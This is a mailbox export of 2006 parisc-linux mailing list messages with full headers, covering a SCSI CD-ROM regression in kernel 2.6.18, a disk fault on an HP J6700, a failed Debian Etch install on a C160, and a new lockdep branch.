Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 766637D8E9;
	Sun, 12 Nov 2006 12:14:43 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 097327D8E7
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 12 Nov 2006 12:14:39 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 13743-04 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 12 Nov 2006 12:14:37 -0700 (MST)
Original-Received: from mail.parisc-linux.org (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id AC3EB7D8E6
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 12 Nov 2006 12:14:37 -0700 (MST)
Original-Received: by mail.parisc-linux.org (Postfix)
	id 68A8649400E; Sun, 12 Nov 2006 12:14:37 -0700 (MST)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: by mail.parisc-linux.org (Postfix, from userid 26919)
	id 4B1E1494007; Sun, 12 Nov 2006 12:14:37 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <20061112160350.8b7d4afd.gmsoft@tuxicoman.be>
User-Agent: Mutt/1.5.13 (2006-08-11)
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: nkBldjBwPTRtDujGPjIwvKsxc2tpZAuy
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:25374

On Sun, Nov 12, 2006 at 04:03:50PM +0100, Guy Martin wrote:
> This is how 2.4 detects it :
> scsi3: (4:0) Synchronous at offset 8, period 100ns
>   Vendor: PLEXTOR   Model: CD-R   PX-R820T   Rev: 1.08
>   Type:   CD-ROM                             ANSI SCSI revision: 02
> 
> And this is how 2.6 detects it :
> [42949430.090000]   Vendor: PLEXTOR   Model: CD-R   PX-R820T   Rev: 1.08
> [42949430.150000]   Type:   CD-ROM                             ANSI SCSI revision: 02
> [42949430.170000]  target2:0:4: Beginning Domain Validation
> [42949430.180000]  target2:0:4: asynchronous
> [42949430.190000]  target2:0:4: FAST-10 SCSI 10.0 MB/s ST (100 ns, offset 8)
> [42949430.200000]  target2:0:4: Domain Validation skipping write tests
> [42949430.210000]  target2:0:4: Ending Domain Validation
> 
> 
> The main difference seems that 2.4 detects and syncronous drive while 2.6 detects an async one.

Um, you're just confused by the debug output from the DV code.  First it
negotiates async, then it negotiates FAST-10.

> Full 2.4 dmesg : https://www.tuxicoman.be/temp/dmesg-2.4-53c700
> Full 2.6 dmesg : https://www.tuxicoman.be/temp/dmesg-2.6-53c700
> 2.6 kernel config : https://www.tuxicoman.be/temp/k410-2.6.18.2-pa0.config
> 
> On my 2.6 kernel, when you try to mount it, you get the those error messages in loop.
> 
> Please have a look at it and let me know if you need any other info.

Presumably at some point in 2.6, this device worked fine.  Any chance
you could bisect and figure out when it started failing?  I'd start with
looking at something in the 2.6.8 sort of timeframe.
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:58 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Guy Martin <gmsoft@tuxicoman.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] K410 SCSI 53c700 issue with PLEXTOR PX-R820T
Date: Thu, 16 Nov 2006 00:49:36 +0100
Lines: 31
Approved: news@gmane.org
Message-ID: <20061116004936.cd0b52ff.gmsoft@tuxicoman.be>
References: <20061112160350.8b7d4afd.gmsoft@tuxicoman.be>
	<20061112191436.GY16952@parisc-linux.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624620 28176 80.91.229.3 (22 Nov 2014 02:50:20 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:50:20 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: Matthew Wilcox <matthew@wil.cx>
Original-X-From: - Wed Jul 02 21:28:23 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 15 Nov 2006 23:49:59 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx093) with SMTP; 16 Nov 2006 00:49:59 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id AE9AF7D8F6;
	Wed, 15 Nov 2006 16:49:55 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 09823-07; Wed, 15 Nov 2006 16:49:55 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id AA7167D904;
	Wed, 15 Nov 2006 16:49:53 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 904F27D8FD
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 15 Nov 2006 16:49:48 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 09683-08 for <parisc-linux@lists.parisc-linux.org>;
	Wed, 15 Nov 2006 16:49:47 -0700 (MST)
Original-Received: from mail.parisc-linux.org (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id 40DF17D7A9
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 15 Nov 2006 16:49:47 -0700 (MST)
Original-Received: by mail.parisc-linux.org (Postfix)
	id D293249400B; Wed, 15 Nov 2006 16:49:46 -0700 (MST)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from smtp-out.coditel.net (smtp-out.coditel.net [212.95.66.33])
	by mail.parisc-linux.org (Postfix) with ESMTP id 7168A494006
	for <parisc-linux@parisc-linux.org>;
	Wed, 15 Nov 2006 16:49:25 -0700 (MST)
Original-Received: from smtp.coditel.net (localhost.localdomain [127.0.0.1])
	by smtp-out.coditel.net (Postfix) with ESMTP
	id 8C31FEB235; Thu, 16 Nov 2006 00:49:24 +0100 (CET)
Original-Received: from ibiza.bxl.tuxicoman.be (cable-85.28.84.48.coditel.net
	[85.28.84.48]) by smtp.coditel.net (Postfix) with ESMTP
	id 8EEE92FD1A; Thu, 16 Nov 2006 00:49:19 +0100 (CET)
Original-Received: from [172.20.1.248] (helo=localhost)
	by ibiza.bxl.tuxicoman.be with esmtps (TLSv1:AES256-SHA:256)
	(Exim 4.62) (envelope-from <gmsoft@tuxicoman.be>)
	id 1GkUTb-00074B-K7; Thu, 16 Nov 2006 00:47:31 +0100
In-Reply-To: <20061112191436.GY16952@parisc-linux.org>
X-Mailer: Sylpheed version 2.2.4 (GTK+ 2.8.19; i686-pc-linux-gnu)
X-AV-Checked: clean on smtp.coditel.net
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: xso5EbQebXBtTrqHPTQ2jm0qLyUmZQjD
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:25375

On Sun, 12 Nov 2006 12:14:37 -0700
Matthew Wilcox <matthew@wil.cx> wrote:

> > Please have a look at it and let me know if you need any other info.
> 
> Presumably at some point in 2.6, this device worked fine.  Any chance
> you could bisect and figure out when it started failing?  I'd start with
> looking at something in the 2.6.8 sort of timeframe.


I've tried from kernels since 2.6.8 and it looks like it breaks since 2.6.18.

The dmesg of the last working kernel is here :
https://www.tuxicoman.be/temp/dmesg-2.6.17-53c700

The dmesg of the non working one is here :
https://www.tuxicoman.be/temp/dmesg-2.6-53c700


According 2.6.18's changelog, it looks like a few fixes were merged in this release.

As usual, if you need any other info or even access to this box, let me know.

Cheers,
  Guy
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:58 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Carlos O'Donell" <carlos@systemhalted.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Problem with a J6700.
Date: Thu, 16 Nov 2006 20:33:30 -0500
Lines: 21
Approved: news@gmane.org
Message-ID: <119aab440611161733p5f4d168et4a3ba8bb98d11a68@mail.gmail.com>
References: <455CAA61.10809@home.se>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=ISO-8859-1;
  format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624620 28179 80.91.229.3 (22 Nov 2014 02:50:20 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:50:20 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: "Anders Hanson" <anders.hanson@home.se>
Original-X-From: - Wed Jul 02 21:28:23 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 17 Nov 2006 01:34:04 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx047) with SMTP; 17 Nov 2006 02:34:04 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 7F2C97D950;
	Thu, 16 Nov 2006 18:34:02 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 32101-03; Thu, 16 Nov 2006 18:34:02 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 1EF1A7D94D;
	Thu, 16 Nov 2006 18:34:00 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 0CDA07D949
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 16 Nov 2006 18:33:55 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 31820-10 for <parisc-linux@lists.parisc-linux.org>;
	Thu, 16 Nov 2006 18:33:53 -0700 (MST)
Original-Received: from mail.parisc-linux.org (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id AFF1F7D921
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 16 Nov 2006 18:33:53 -0700 (MST)
Original-Received: by mail.parisc-linux.org (Postfix)
	id 890CB49400A; Thu, 16 Nov 2006 18:33:53 -0700 (MST)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from ug-out-1314.google.com (ug-out-1314.google.com [66.249.92.169])
	by mail.parisc-linux.org (Postfix) with ESMTP id 2B8B9494006
	for <parisc-linux@parisc-linux.org>;
	Thu, 16 Nov 2006 18:33:32 -0700 (MST)
Original-Received: by ug-out-1314.google.com with SMTP id z35so734255ugc
	for <parisc-linux@parisc-linux.org>;
	Thu, 16 Nov 2006 17:33:31 -0800 (PST)
DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=beta; d=gmail.com;
	h=received:message-id:date:from:sender:to:subject:cc:in-reply-to:mime-version:content-type:content-transfer-encoding:content-disposition:references:x-google-sender-auth;
	b=nNAW3FMmB+BpKUfOsBY2R5Jwni9atXvPNnjS1S1LHvuSQQtEIyknJFTH7zcixrAoYY3sQL18+gVsoo1UdbhZBs+LrlHlRGf4N49UnBsRVbCyFxUNgQuJ+7nE4snKToMYo3/6sCAdAux4y/6NSrR3X8ByU5mxB9DmkJ4T0qwPcn0=
Original-Received: by 10.78.138.6 with SMTP id l6mr1280336hud.1163727210657;
	Thu, 16 Nov 2006 17:33:30 -0800 (PST)
Original-Received: by 10.78.147.11 with HTTP; Thu, 16 Nov 2006 17:33:30 -0800 (PST)
In-Reply-To: <455CAA61.10809@home.se>
Content-Disposition: inline
X-Google-Sender-Auth: b813b62cf3ff5984
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: tSZocVUvTiEtQKyUaGRwa7Z1ZUVSRNfN
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:25376

On 11/16/06, Anders Hanson <anders.hanson@home.se> wrote:
> I've recently got myself a HP J6700 and installed Debian testing with on
> it but have a small problem.
>
> After it had been running for couple of weeks it started do strange
> things and complained about scsi disks being offline and problem with
> irq handling.
> Now I can't even get it to boot up fully before it starts complaining.
>
> Anyone got any idea? I know it's not much to go on but I will try to
> gather more info when I manage to boot it and recover some logs :)

Bad hardware? Get a new disk and try again?

c.
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:58 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kurt Fitzner <kfitzner@excelcia.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Debian etch rc1 & daily build install fail on C160
Date: Tue, 21 Nov 2006 02:36:24 -0700
Lines: 26
Approved: news@gmane.org
Message-ID: <4562C898.2090605@excelcia.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=ISO-8859-1
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624621 28184 80.91.229.3 (22 Nov 2014 02:50:21 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:50:21 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: - Wed Jul 02 21:28:23 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 21 Nov 2006 09:37:06 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx039) with SMTP; 21 Nov 2006 10:37:06 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 1A0157D8D7;
	Tue, 21 Nov 2006 02:36:58 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 19820-08; Tue, 21 Nov 2006 02:36:57 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 2F3557D8C6;
	Tue, 21 Nov 2006 02:36:55 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id CC7D37D8BA
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 21 Nov 2006 02:36:50 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 19439-09 for <parisc-linux@lists.parisc-linux.org>;
	Tue, 21 Nov 2006 02:36:49 -0700 (MST)
Original-Received: from mail.parisc-linux.org (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id 7024D7D8B5
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 21 Nov 2006 02:36:49 -0700 (MST)
Original-Received: by mail.parisc-linux.org (Postfix)
	id 1A79049400C; Tue, 21 Nov 2006 02:36:49 -0700 (MST)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from pd3mo1so.prod.shaw.ca (shawidc-mo1.cg.shawcable.net
	[24.71.223.10])
	by mail.parisc-linux.org (Postfix) with ESMTP id C271649400A
	for <parisc-linux@parisc-linux.org>;
	Tue, 21 Nov 2006 02:36:27 -0700 (MST)
Original-Received: from pd3mr6so.prod.shaw.ca (pd3mr6so-qfe3.prod.shaw.ca [10.0.141.21])
	by l-daemon (Sun ONE Messaging Server 6.0 HotFix 1.01 (built Mar 15
	2004)) with ESMTP id <0J92007SOQOSHVB0@l-daemon> for
	parisc-linux@parisc-linux.org; Tue, 21 Nov 2006 02:36:28 -0700 (MST)
Original-Received: from pn2ml7so.prod.shaw.ca ([10.0.121.151])
	by pd3mr6so.prod.shaw.ca (Sun Java System Messaging Server 6.2-2.05
	(built Apr
	28 2005)) with ESMTP id <0J92002OWQOREAJ1@pd3mr6so.prod.shaw.ca> for
	parisc-linux@parisc-linux.org; Tue, 21 Nov 2006 02:36:28 -0700 (MST)
Original-Received: from guardian.excelcia.org ([68.149.196.244])
	by l-daemon (Sun ONE Messaging Server 6.0 HotFix 1.01 (built Mar 15
	2004)) with ESMTP id <0J92007EAQORR5B0@l-daemon> for
	parisc-linux@parisc-linux.org; Tue, 21 Nov 2006 02:36:27 -0700 (MST)
Original-Received: from [192.168.200.13] (frisket.excelcia.org [192.168.200.13])
	by guardian.excelcia.org (8.13.3/8.13.3) with ESMTP id
	kALAaPo2011299	for
	<parisc-linux@parisc-linux.org>; Tue, 21 Nov 2006 03:36:25 -0700
Face: iVBORw0KGgoAAAANSUhEUgAAADAAAAAwCAMAAABg3Am1AAAAQlBMVEUIEQ8THRofGw4lLyc0
	LRBLJhxhQzVGTkRiZFWSUkSfUzesS0CBYVB6hnS5bV3Bbk/PaVapgW7uhW6WraG42c6+4NXI/Dbc
	AAACM0lEQVR42tWU23qkIBCEQVRolIOi7/+qWw14yoxk93LbSfJNqL+rOIjY/7HEfwFstf4WYG1y
	XCltvwNZbjTKaGNM+g1gvdOloDfabU0AwTdT5KpiOjWAQ69QB6L09gqUPCYj48g/KKBvQM1v5nks
	ReQJRO++A1sOZKCHbh7JxzV67wH26Q3gQKyPPsa4coUAj9G0AajDelRgi7kJLP7sf1i8OuwJAHKf
	8gq41qRh4NcHMDci7SZHWn84LC2HeX5YMDC41hxAgIHUe/K5xt697fSeWI2NJhBE/BdFdmkCIx4i
	7DIIIgrBTu/AxgZ8hChEy91tQMWlcfjmhWOAweZBGlcG0uvx3l3ZaGvjdZpi3N6BhKMHgOy6ThMT
	MdjHnD9fIA7DkTxN8GCzpfUCIZP3IQM+5GnY+fs7fVxeiXeacq6AUAg0py/Adt52yWBZKUcisgxQ
	p7S7rjTx0IPAy2lpyNDEm0aDQEllXDqBu37DeUDXiSuywdBBjqfrOu0K8NBrNQxkWR54xsT6bAGg
	51MoHvqkoB8Gbp5XaDj0GVA97g/x0GfnrqsE2h96EFLCok8XsO9O5qFCTMT6ByAVPMQtvqxjTKDY
	S96ADh91Avum8L9zOCe72h8WslfinO5dn4fFs7JDV4GiL3Vv+OEA13K75O/qofnhIPM6YbwuT14D
	9ZHj1r+mEny3yLJmKiMNKGO1vSxqJWUL4Zy6zlYVseKDJuRrKiFqjOvXe/vSSGl1pf9Fz/UHUt53
	+mfdrmkAAAAASUVORK5CYII=
X-Enigmail-Version: 0.94.0.0
X-Virus-Scanned: ClamAV version 0.88.3,
	clamav-milter version 0.88.3 on guardian.excelcia.org
X-Virus-Status: Clean
User-Agent: Thunderbird 1.5.0.8 (Windows/20061025)
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: /fBUDI08QEVsAujDZnVp3qRKNzg2NcJ5
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:25377

I've tried installing Debian Etch rc1 and yesterday's daily build on my
C160, and both fail.  The installation itself seems to work fine, but
when it boots after, it can't find the root partition.

I don't know if it's because the kernel doesn't have the SCSI driver I
need, or if I'm running into the issue listed on the errata:

Disk devices may change on reboot
  On systems with multiple diskcontrollers, the kernel/udev may assign
  a different device node on reboot of the system than was used during
  installation due to difference in load order of drivers.
  This can lead to failure to boot the system. In most cases this can be
  rectified changing the bootloader configuration and /etc/fstab,
  possibly using the rescue mode of the installer.

  Note however that this problem may occur again on subsequent boots.
  Fixing this issue has priority for the next release of Debian
  installer.

Is this something I should be reporting here, or to Debian?
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:58 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] lockdep branch created
Date: Mon, 20 Nov 2006 14:39:24 -0700
Lines: 13
Approved: news@gmane.org
Message-ID: <20061120213924.GP18567@parisc-linux.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624621 28188 80.91.229.3 (22 Nov 2014 02:50:21 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:50:21 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: - Wed Jul 02 21:28:23 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 20 Nov 2006 21:39:38 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx067) with SMTP; 20 Nov 2006 22:39:38 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 43D987D8C9;
	Mon, 20 Nov 2006 14:39:34 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 11263-08; Mon, 20 Nov 2006 14:39:34 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 11D457D8CC;
	Mon, 20 Nov 2006 14:39:33 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 1D1497D8C8
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 20 Nov 2006 14:39:26 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 11152-07 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 20 Nov 2006 14:39:24 -0700 (MST)
Original-Received: from mail.parisc-linux.org (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id BD81B7D8C6
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 20 Nov 2006 14:39:24 -0700 (MST)
Original-Received: by mail.parisc-linux.org (Postfix)
	id 85A9C49400C; Mon, 20 Nov 2006 14:39:24 -0700 (MST)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: by mail.parisc-linux.org (Postfix, from userid 26919)
	id 7648549400A; Mon, 20 Nov 2006 14:39:24 -0700 (MST)
Content-Disposition: inline
User-Agent: Mutt/1.5.13 (2006-08-11)
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
